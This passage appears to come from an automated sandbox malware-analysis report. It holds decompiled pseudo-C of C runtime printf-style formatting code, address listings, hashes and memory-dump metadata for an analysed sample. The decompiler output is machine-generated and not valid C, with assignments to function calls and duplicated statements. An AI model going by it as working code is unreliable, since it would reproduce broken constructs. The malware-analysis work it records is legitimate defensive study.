																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041BA60( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xc0d8c8fb
																					E00424860(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xc0d7763b
																						E00424860(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AFF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xc0d772bb
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AFF0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AFF0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B720(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E004285E0(__ebp + 0x14);
																			if(E00434180() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E520();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																				__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AFC0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AFF0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431490( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c53d
0x0043c53d
0x0043c53d
0x0043c53d
0x0043c53d
0x0043c53d
0x0043c53d
0x0043c53d
0x00000000
0x0043c5b2
0x00000000
0x0043c5b2
0x00000000
0x0043c5b2
0x0043c5b2
0x0043c5ba
0x0043c5dc
0x0043c5e2
0x0043c607
0x0043c64e
0x0043c651
0x0043c672
0x0043c677
0x0043c67c
0x0043c682
0x0043c653
0x0043c657
0x0043c65c
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60f
0x0043c631
0x0043c636
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c615
0x0043c61a
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e8
0x0043c5ed
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5c0
0x0043c5c5
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68e
0x0043c6d0
0x0043c6d6
0x0043c6e2
0x00000000
0x0043c690
0x0043c690
0x0043c690
0x0043c697
0x00000000
0x0043c6a4
0x0043c6a4
0x0043c6b2
0x0043c6b7
0x0043c6bd
0x0043c6cb
0x0043c6e8
0x0043c6f0
0x0043c712
0x0043c712
0x0043c71c
0x0043c72d
0x0043c737
0x0043c739
0x0043c739
0x0043c71e
0x0043c71e
0x0043c71e
0x0043c74c
0x0043c74e
0x0043c74e
0x0043c75b
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76c
0x00000000
0x00000000
0x0043c77c
0x0043c77f
0x0043c789
0x0043c798
0x0043c7a1
0x0043c7b7
0x0043c7bd
0x0043c7ca
0x0043c7d8
0x0043c7d8
0x0043c7e7
0x0043c7ef
0x0043c7ef
0x0043c7f7
0x0043c800
0x0043c809
0x0043c815
0x0043c82e
0x0043c834
0x0043c83d
0x0043c83d
0x00000000
0x0043c840
0x00000000
0x0043c840
0x00000000
0x0043c840
0x00000000
0x0043c840
0x00000000
0x0043c840
0x00000000
0x0043c840
0x00000000
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x0043ca20
0x0043ca24
0x0043ca2c
0x0043ca31
0x0043ca34
0x0043ca34
0x0043ca3b
0x0043ca3b
0x0043bbbb
0x0043bbc2
0x0043bbcf
0x0043bbd4
0x00000000
0x0043bbe7
0x0043bbf1
0x0043bc18
0x0043bbff
0x0043bc10
0x0043bc10
0x0043bbf1
0x0043bc22
0x0043bc28
0x0043bc34
0x0043bc37
0x0043bc45
0x0043bc48
0x0043bc55
0x0043bcfa
0x0043bd00
0x0043bd0d
0x00000000
0x00000000
0x0043bd13
0x0043bd19
0x00000000
0x0043bd20
0x0043bd20
0x0043bd3a
0x0043bd3f
0x00000000
0x00000000
0x0043bd47
0x0043bd47
0x0043bd4e
0x0043bd51
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd5d
0x0043bd60
0x0043bd67
0x0043bd6e
0x00000000
0x00000000
0x0043bd7a
0x0043bd7a
0x0043bd81
0x0043bd8d
0x0043bd90
0x0043bd9d
0x00000000
0x00000000
0x0043bd9f
0x0043bda5
0x0043bda5
0x0043bdac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdf0
0x0043bdf0
0x0043bdfa
0x0043be27
0x0043be31
0x0043be31
0x0043be35
0x0043bdfc
0x0043bdfc
0x0043be08
0x0043be0f
0x0043be14
0x0043be17
0x0043be1a
0x0043be1d
0x0043be1f
0x0043be1f
0x0043be22
0x00000000
0x00000000
0x0043be3d
0x0043be3d
0x00000000
0x00000000
0x0043be49
0x0043be49
0x0043be53
0x0043be73
0x0043be76
0x0043be80
0x0043be80
0x0043be84
0x0043be55
0x0043be55
0x0043be61
0x0043be68
0x0043be6a
0x0043be6a
0x0043be71
0x00000000
0x00000000
0x0043be8c
0x0043be8c
0x0043be93
0x0043be9f
0x0043bea2
0x0043beaf
0x0043bfc2
0x00000000
0x0043bfc2
0x0043beb5
0x0043bebb
0x0043bebb
0x0043bec2
0x00000000
0x0043bef9
0x0043bef9
0x0043befc
0x0043bf02
0x0043bf29
0x0043bf29
0x0043bf2c
0x0043bf32
0x0043bf56
0x0043bf56
0x0043bf59
0x0043bf5f
0x0043bf98
0x0043bfa9
0x00000000
0x0043bfa9
0x0043bf61
0x0043bf61
0x0043bf64
0x0043bf6a
0x00000000
0x00000000
0x0043bf6c
0x0043bf6c
0x0043bf6f
0x0043bf75
0x00000000
0x00000000
0x0043bf77
0x0043bf77
0x0043bf7a
0x0043bf80
0x00000000
0x00000000
0x0043bf82
0x0043bf82
0x0043bf85
0x0043bf8b
0x00000000
0x00000000
0x0043bf8d
0x0043bf8d
0x0043bf90
0x0043bf96
0x0043bf9a
0x00000000
0x0043bf9a
0x00000000
0x0043bf96
0x0043bf34
0x0043bf34
0x0043bf37
0x0043bf3e
0x00000000
0x0043bf40
0x0043bf43
0x0043bf46
0x0043bf4c
0x0043bf51
0x00000000
0x0043bf51
0x0043bf3e
0x0043bf04
0x0043bf04
0x0043bf07
0x0043bf0e
0x00000000
0x0043bf10
0x0043bf13
0x0043bf16
0x0043bf1c
0x0043bf21
0x00000000
0x0043bf21
0x00000000
0x0043bfab
0x0043bfab
0x0043bfae
0x0043bfb1
0x00000000
0x00000000
0x0043bec9
0x0043bec9
0x0043becc
0x0043bed2
0x0043beee
0x0043bef1
0x0043bed4
0x0043bed4
0x0043bed7
0x0043beda
0x0043bee0
0x0043bee6
0x0043bee6
0x00000000
0x00000000
0x0043bfb6
0x0043bfb9
0x0043bfbf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x00000000
0x00000000
0x0043bdd4
0x0043bdd7
0x0043bddd
0x00000000
0x00000000
0x0043bdbe
0x0043bdc1
0x0043bdc4
0x00000000
0x00000000
0x0043bdb3
0x0043bdb6
0x0043bdb9
0x00000000
0x00000000
0x0043bde2
0x0043bde5
0x0043bde8
0x00000000
0x00000000
0x0043bdeb
0x00000000
0x00000000
0x0043bc5b
0x0043bc5b
0x0043bc5d
0x0043bc6b
0x0043bc5f
0x0043bc5f
0x0043bc5f
0x0043bc7b
0x0043bc88
0x0043bc8a
0x0043bc8f
0x0043bc91
0x0043bc96
0x0043bc9b
0x0043bc9d
0x0043bca2
0x0043bca8
0x0043bcaa
0x0043bcaa
0x0043bca8
0x0043bcab
0x0043bcb2
0x00000000
0x0043bcb4
0x0043bcb9
0x0043bcd5
0x0043bcdd
0x0043bcea
0x0043bcef
0x0043cb04
0x0043cb11
0x0043cb11
0x0043bcb2
0x0043bc55
0x0043ca40
0x0043ca47
0x0043ca5e
0x0043ca52
0x0043ca52
0x0043ca52
0x0043ca68
0x0043ca6e
0x0043ca7b
0x0043ca7d
0x0043ca82
0x0043ca84
0x0043ca89
0x0043ca8e
0x0043ca90
0x0043ca95
0x0043ca9b
0x0043ca9d
0x0043ca9d
0x0043ca9b
0x0043caa5
0x0043caf0
0x0043caf9
0x0043cafe
0x0043caa7
0x0043caac
0x0043cac8
0x0043cad0
0x0043cadd
0x0043cae2
0x0043cae2
0x00000000
0x0043caa5
0x0043c84a
0x0043c850
0x0043c85a
0x0043c874
0x0043c88e
0x0043c895
0x0043c899
0x0043c899
0x0043c876
0x0043c87b
0x0043c87f
0x0043c87f
0x0043c85c
0x0043c861
0x0043c865
0x0043c865
0x0043c85a
0x0043c8a9
0x0043c8b5
0x0043c8cb
0x0043c8d0
0x0043c8d0
0x0043c8e6
0x0043c8eb
0x0043c8f4
0x0043c912
0x0043c917
0x0043c917
0x0043c91e
0x0043c9d8
0x0043c9eb
0x0043c9f0
0x00000000
0x0043c92e
0x0043c92e
0x0043c931
0x0043c93a
0x0043c940
0x0043c940
0x0043c94f
0x0043c957
0x00000000
0x00000000
0x0043c959
0x0043c95c
0x0043c981
0x0043c986
0x0043c989
0x0043c996
0x0043c9a4
0x0043c9b7
0x0043c9bc
0x0043c9cb
0x00000000
0x0043c9cb
0x0043c998
0x0043c998
0x00000000
0x0043c998
0x0043c9d6
0x0043c9f3
0x0043c9fa
0x0043ca18
0x0043ca1d
0x0043ca1d
0x00000000
0x0043c9fa
0x0043bfc7
0x0043bfc7
0x0043bfce
0x0043bfd4
0x0043bfda
0x0043bfdd
0x0043bfe3
0x0043bff0
0x0043bff6
0x0043bff6
0x0043bffd
0x00000000
0x0043c381
0x0043c381
0x0043c38f
0x0043c392
0x00000000
0x00000000
0x0043c004
0x0043c007
0x0043c00d
0x0043c012
0x0043c015
0x0043c015
0x00000000
0x00000000
0x0043c14a
0x0043c14d
0x0043c152
0x0043c157
0x0043c15a
0x0043c15a
0x00000000
0x00000000
0x0043c54d
0x0043c54d
0x00000000
0x00000000
0x0043c0b4
0x0043c0b4
0x0043c0c0
0x0043c0cd
0x0043c0db
0x0043c0db
0x0043c0e1
0x0043c0e4
0x0043c0f0
0x0043c145
0x00000000
0x0043c145
0x0043c0cf
0x0043c0cf
0x0043c0d9
0x0043c0f5
0x0043c0f8
0x0043c0fe
0x0043c126
0x0043c12d
0x0043c133
0x0043c136
0x0043c139
0x0043c13f
0x0043c142
0x0043c100
0x0043c100
0x0043c106
0x0043c109
0x0043c10c
0x0043c112
0x0043c115
0x0043c118
0x0043c11a
0x0043c11d
0x0043c11d
0x00000000
0x0043c0fe
0x00000000
0x00000000
0x0043c399
0x0043c39c
0x0043c39f
0x0043c3a2
0x0043c3a8
0x0043c3ab
0x0043c3b6
0x0043c3c1
0x0043c3c5
0x0043c3dc
0x0043c3e3
0x0043c3e5
0x0043c3e5
0x0043c3ec
0x0043c3f3
0x0043c401
0x0043c404
0x0043c413
0x0043c41a
0x0043c42f
0x0043c41c
0x0043c41c
0x0043c41f
0x0043c425
0x0043c42a
0x0043c42a
0x0043c41a
0x0043c439
0x0043c43c
0x0043c43f
0x0043c442
0x0043c445
0x0043c448
0x0043c44e
0x0043c454
0x0043c45c
0x0043c45d
0x0043c460
0x0043c461
0x0043c464
0x0043c465
0x0043c46c
0x0043c46d
0x0043c470
0x0043c471
0x0043c474
0x0043c475
0x0043c47b
0x0043c47c
0x0043c48b
0x0043c48d
0x0043c493
0x0043c498
0x0043c4a0
0x0043c4a8
0x0043c4a9
0x0043c4ac
0x0043c4ad
0x0043c4bc
0x0043c4be
0x0043c4be
0x0043c4c1
0x0043c4cb
0x0043c4d0
0x0043c4d6
0x0043c4d8
0x0043c4e0
0x0043c4e1
0x0043c4e4
0x0043c4e5
0x0043c4f3
0x0043c4f5
0x0043c4f5
0x0043c4d6
0x0043c4f8
0x0043c4fb
0x0043c501
0x0043c506
0x0043c50b
0x0043c511
0x0043c514
0x0043c514
0x0043c517
0x0043c523
0x00000000
0x0043c523
0x0043c3c7
0x0043c3c7
0x0043c3d1
0x00000000
0x00000000
0x0043c3d3
0x0043c3d3
0x00000000
0x0043c3d3
0x0043c3b8
0x0043c3b8
0x00000000
0x00000000
0x0043c018
0x0043c018
0x0043c023
0x0043c02b
0x0043c032
0x0043c035
0x0043c038
0x0043c098
0x0043c03a
0x0043c041
0x0043c047
0x0043c04d
0x0043c054
0x0043c057
0x0043c05d
0x0043c065
0x0043c067
0x0043c06e
0x0043c075
0x0043c086
0x0043c088
0x0043c088
0x0043c08f
0x0043c09f
0x0043c0a5
0x0043c0a8
0x00000000
0x00000000
0x0043c52b
0x0043c52e
0x0043c531
0x0043c534
0x00000000
0x00000000
0x0043c28a
0x0043c28a
0x0043c296
0x0043c2a3
0x0043c34d
0x0043c34d
0x0043c350
0x0043c353
0x0043c367
0x0043c36d
0x0043c373
0x0043c355
0x0043c355
0x0043c35b
0x0043c362
0x0043c362
0x0043c375
0x00000000
0x0043c375
0x0043c2a9
0x0043c2a9
0x0043c2ab
0x0043c2b9
0x0043c2ad
0x0043c2ad
0x0043c2ad
0x0043c2c3
0x0043c2c9
0x0043c2d6
0x0043c2d8
0x0043c2dd
0x0043c2df
0x0043c2e4
0x0043c2e9
0x0043c2eb
0x0043c2f0
0x0043c2f6
0x0043c2f8
0x0043c2f8
0x0043c2f6
0x0043c300
0x0043c348
0x00000000
0x0043c302
0x0043c302
0x0043c307
0x0043c323
0x0043c32b
0x0043c335
0x0043c338
0x0043c33d
0x00000000
0x0043c33d
0x00000000
0x0043c594
0x0043c594
0x0043c59e
0x0043c5a4
0x0043c5a9
0x0043c5af
0x0043c5af
0x00000000
0x00000000
0x0043c546
0x0043c546
0x00000000
0x00000000
0x0043c15d
0x0043c161
0x0043c16f
0x0043c172
0x0043c163
0x0043c163
0x0043c163
0x0043c178
0x0043c17e
0x0043c184
0x0043c190
0x0043c196
0x0043c199
0x0043c221
0x0043c225
0x0043c227
0x0043c22d
0x0043c22d
0x0043c230
0x0043c237
0x0043c23a
0x0043c240
0x0043c240
0x0043c240
0x0043c246
0x0043c24c
0x0043c24f
0x0043c257
0x00000000
0x00000000
0x0043c259
0x0043c259
0x0043c25f
0x0043c264
0x00000000
0x00000000
0x0043c266
0x0043c26c
0x0043c26f
0x0043c26f
0x0043c277
0x0043c27d
0x0043c280
0x0043c282
0x00000000
0x0043c19f
0x0043c19f
0x0043c1a3
0x0043c1a5
0x0043c1aa
0x0043c1aa
0x0043c1ad
0x0043c1b0
0x0043c1b6
0x0043c1c8
0x0043c1c8
0x0043c1c8
0x0043c1d1
0x00000000
0x00000000
0x0043c1d3
0x0043c1d3
0x0043c1d9
0x0043c1de
0x00000000
0x00000000
0x0043c1e0
0x0043c1e0
0x0043c1e9
0x0043c1ef
0x0043c1fd
0x0043c205
0x0043c208
0x0043c208
0x0043c214
0x0043c217
0x0043c1c2
0x0043c1c5
0x0043c1c5
0x0043c21f
0x0043c285
0x00000000
0x0043c285
0x00000000
0x00000000
0x00000000
0x0043c559
0x0043c559
0x0043c563
0x0043c563
0x0043c56d
0x0043c573
0x0043c575
0x0043c57a
0x0043c584
0x0043c587
0x0043c58b
0x0043c58b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bffd
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c697
0x0043c68e
0x0043c5b2
0x0043c5b2
0x0043c5b2

APIs

_get_int64_arg.LIBCMTD ref: 0043C5C0
_get_int64_arg.LIBCMTD ref: 0043C5E8
__aullrem.LIBCMT ref: 0043C790
__aulldiv.LIBCMT ref: 0043C7B2

Strings

9, xrefs: 0043C7C3

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 02b58a4e75605d91eca72d5eecfd25d1189bfe5684e380c85c8c7710c744b86e
Instruction ID: e760bdea41f8ae72482298cc68f294993bc60a660b4e55e89cd3d9013b8b1d7f
Opcode Fuzzy Hash: 02b58a4e75605d91eca72d5eecfd25d1189bfe5684e380c85c8c7710c744b86e
Instruction Fuzzy Hash: FE4126B1A4022A9FDB20CF48C981BAEB7B5BB89314F1051DAE149B7241C7385E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043520B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0043520B(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E004285E0(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E004285E0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E004285E0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E004285E0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E00428600(_t699 + 0x14);
										_t702 = _t701 + 4;
